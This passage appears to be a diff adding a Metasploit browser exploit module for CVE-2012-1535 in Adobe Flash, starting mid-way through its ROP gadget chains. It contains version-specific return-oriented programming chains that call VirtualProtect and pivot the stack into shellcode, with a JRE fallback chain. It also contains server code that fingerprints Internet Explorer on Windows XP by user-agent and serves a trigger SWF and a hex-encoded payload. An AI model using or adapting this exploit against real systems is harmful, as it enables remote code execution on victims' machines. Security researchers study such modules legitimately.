(Flash32_11_3_300_257.ocx) + 0x10649004, # ROP NOP (-> edi) + 0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx) + 0x00000040, # newProtect (0x40) (-> edx) + 0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx) + nop, # NOPS (-> eax) + 0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx) + ].pack("V*") + + elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/ + + print_status("Using Rop Chain For Flash: #{flash_version}") + stack_pivot = [ + 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) + 0x0c0c0c0c, + 0x1001d6d3, # xchg eax, esp # ret (1e0d0008) + ].pack("V*") + + rop = [ + 0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) + 0x106e338c, # <- *&VirtualProtect() + 0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx) + 0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx) + 0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx) + 0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx) + 0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx) + 0x00000201, # <- change size to mark as executable if needed (-> ebx) + 0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx) + 0x10955000, # W pointer (lpOldProtect) (-> ecx) + 0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx) + 0x105c1812, # ROP NOP (-> edi) + 0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx) + 0x00000040, # newProtect (0x40) (-> edx) + 0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx) + nop, # NOPS (-> eax) + 0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx) + ].pack("V*") + + elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/ + + print_status("Using Rop Chain For Flash: #{flash_version}") + stack_pivot = [ + 0x10004171, # POP EDI # POP ESI # RETN (1e0d0000) + 0x0c0c0c0c, + 0x1001d755, # xchg eax, esp # ret (1e0d0008) + ].pack("V*") + rop = [ + 0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) + 0x106e438c, # <- *&VirtualProtect() + 0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx) + 0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx) + 0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx) + 0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx) + 0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx) + 0x00000201, # <- change size to mark as executable if needed (-> ebx) + 0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx) + 0x1083c000, # RW pointer (lpOldProtect) (-> ecx) + 0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx) + 0x10308b0f, # ROP NOP (-> edi) + 0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx) + 0x00000040, # newProtect (0x40) (-> edx) + 0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx) + nop, # NOPS (-> eax) + 0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx) + ].pack("V*") + + else + + print_status("Default back to JRE ROP") + stack_pivot = [ + 0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000) + 0x0c0c0c0c, + 0x7c348b05, # xchg eax, esp # ret (1e0d0008) + ].pack("V*") + + rop = [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0x00001000, # (dwSize) + 0x7c347f98, # RETN (ROP NOP) + 0x7c3415a2, # JMP [EAX] + 0xffffffff, + 0x7c376402, # skip 4 bytes + 0x7c345255, # INC EBX # FPATAN # RETN + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN + 0x7c344f87, # POP EDX # RETN + 0x00000040, # flNewProtect + 0x7c34d201, # POP ECX # RETN + 0x7c38b001, # &Writable location + 0x7c347f97, # POP EAX # RETN + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN + 0x7c345c30, # ptr to 'push esp # ret ' + ].pack("V*") + + end + p = stack_pivot + p << rop + p << payload.encoded + end + return p + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ + return targets[1] #IE 6 on Windows XP SP3 + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ + return targets[2] #IE 7 on Windows XP SP3 + elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ + return targets[3] #IE 8 on Windows XP SP3 + else + return nil + end + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + print_status("User-agent: #{agent}") + my_target = get_target(agent) + + print_status("Client requesting: #{request.uri}") + + # Avoid the attack if the victim doesn't have the same setup we're targeting + if my_target.nil? + print_error("Browser not supported: #{agent}") + send_not_found(cli) + return + end + + # The SWF request itself + if request.uri =~ /\.swf$/ + print_status("Sending SWF") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'}) + return + end + + # The TXT payload request + if request.uri =~ /\.txt$/ + flash_version = request.headers['x-flash-version'] + shellcode = get_payload(my_target, flash_version).unpack('H*')[0] + print_status("Sending Payload") + send_response(cli, shellcode, { 'Content-Type' => 'text/plain' }) + return + end + + swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + + html = %Q| + + + + + + + + + + | + + html = html.gsub(/^\t\t/, '') + + # we need to handle direct /pay.txt requests + proc = Proc.new do |cli, req| + on_request_uri(cli, req) + end + add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil + + print_status("Sending HTML") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + + def exploit + @swf = create_swf + print_status("SWF Loaded: #{@swf.length.to_s} bytes") + super + end + + def create_swf + path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" ) + fd = ::File.open( path, "rb" ) + swf = fd.read(fd.stat.size) + fd.close + return swf + end + + def cleanup + vprint_status("Removing txt resource") + remove_resource('/pay.txt') rescue nil + super + end + +end